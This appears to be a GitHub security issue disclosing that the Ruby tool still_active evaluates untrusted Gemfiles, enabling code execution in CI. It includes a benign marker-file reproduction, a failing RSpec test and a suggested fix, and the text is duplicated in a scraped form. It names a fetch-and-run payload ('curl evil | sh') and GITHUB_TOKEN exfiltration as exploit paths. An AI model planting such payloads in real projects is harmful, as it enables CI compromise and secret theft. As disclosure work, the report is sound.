Summary
still_active evaluates the target Gemfile as Ruby in order to enumerate dependencies. A Gemfile is arbitrary Ruby, so any code in it runs the moment still_active reads the dependency list — no bundle install, no network required. When still_active runs in CI against an untrusted PR that modifies the Gemfile, this is remote code execution in the CI environment.
Severity / impact
High (security). The most direct exploit path: a CI workflow runs still_active on PRs, and a malicious PR adds system("curl evil | sh") (or exfiltrates GITHUB_TOKEN) to the Gemfile. The code executes with the runner's privileges.
Reproduction
# /tmp/evil/Gemfile — a "malicious" Gemfile is just Ruby
source "https://rubygems.org"
File.write(ENV.fetch("MARKER"), "arbitrary code executed at #{Time.now}")
gem "rake", "~> 13.0"
MARKER=/tmp/pwned ruby -e '
$LOAD_PATH.unshift("lib")
require "helpers/bundler_helper"
StillActive::BundlerHelper.gemfile_dependencies(gemfile_path: "/tmp/evil/Gemfile") rescue nil'
cat /tmp/pwned # => "arbitrary code executed at ..."
The side effect fires even on the no-lockfile error path, because the eval happens before the lockfile check.
Failing spec (red against main)
it("does not execute arbitrary code embedded in the Gemfile") do
marker = File.join(Dir.tmpdir, "still_active_rce_#{Process.pid}")
ENV["STILL_ACTIVE_RCE_MARKER"] = marker
StillActive::BundlerHelper.gemfile_dependencies(gemfile_path: rce_gemfile) rescue nil
expect(File.exist?(marker)).to be(false) # FAILS: marker was written
end
Root cause
lib/helpers/bundler_helper.rb — gemfile_dependencies calls ::Bundler.definition, which evaluates the Gemfile DSL (arbitrary Ruby), and also evaluates path:-source gemspecs.
Suggested fix
Parse Gemfile.lock directly instead of evaluating the Gemfile. The lockfile's DEPENDENCIES section already lists the direct deps, and GEM/GIT/PATH blocks list the resolved specs — everything gemfile_dependencies needs. still_active already hand-rolls a side-effect-free LockfileIndexer for SARIF; extending it to read DEPENDENCIES + specs removes the eval surface for the common (lockfile-present) case. This single change also fixes the --gemfile-ignored-under-bundle exec bug and the unaudited-local-gemspec-runtime-deps bug (separate issues). At minimum, document in SECURITY.md that still_active must only be run against trusted Gemfiles.
If you'd prefer private disclosure over a public issue, this can be moved to a GitHub Security Advisory.
Filed by Claude on behalf of @SeanLF (2026-06-11). Repro + red RSpec spec generated and verified against main. Full failing-spec source available on request.
Summary
still_activeevaluates the targetGemfileas Ruby in order to enumerate dependencies. AGemfileis arbitrary Ruby, so any code in it runs the moment still_active reads the dependency list — nobundle install, no network required. When still_active runs in CI against an untrusted PR that modifies theGemfile, this is remote code execution in the CI environment.Severity / impact
High (security). The most direct exploit path: a CI workflow runs still_active on PRs, and a malicious PR adds
system("curl evil | sh")(or exfiltratesGITHUB_TOKEN) to theGemfile. The code executes with the runner's privileges.Reproduction
The side effect fires even on the no-lockfile error path, because the eval happens before the lockfile check.
Failing spec (red against
main)Root cause
lib/helpers/bundler_helper.rb—gemfile_dependenciescalls::Bundler.definition, which evaluates theGemfileDSL (arbitrary Ruby), and also evaluatespath:-source gemspecs.Suggested fix
Parse
Gemfile.lockdirectly instead of evaluating theGemfile. The lockfile'sDEPENDENCIESsection already lists the direct deps, andGEM/GIT/PATHblocks list the resolved specs — everythinggemfile_dependenciesneeds. still_active already hand-rolls a side-effect-freeLockfileIndexerfor SARIF; extending it to readDEPENDENCIES+ specs removes the eval surface for the common (lockfile-present) case. This single change also fixes the--gemfile-ignored-under-bundle execbug and the unaudited-local-gemspec-runtime-deps bug (separate issues). At minimum, document inSECURITY.mdthat still_active must only be run against trusted Gemfiles.Filed by Claude on behalf of @SeanLF (2026-06-11). Repro + red RSpec spec generated and verified against
main. Full failing-spec source available on request.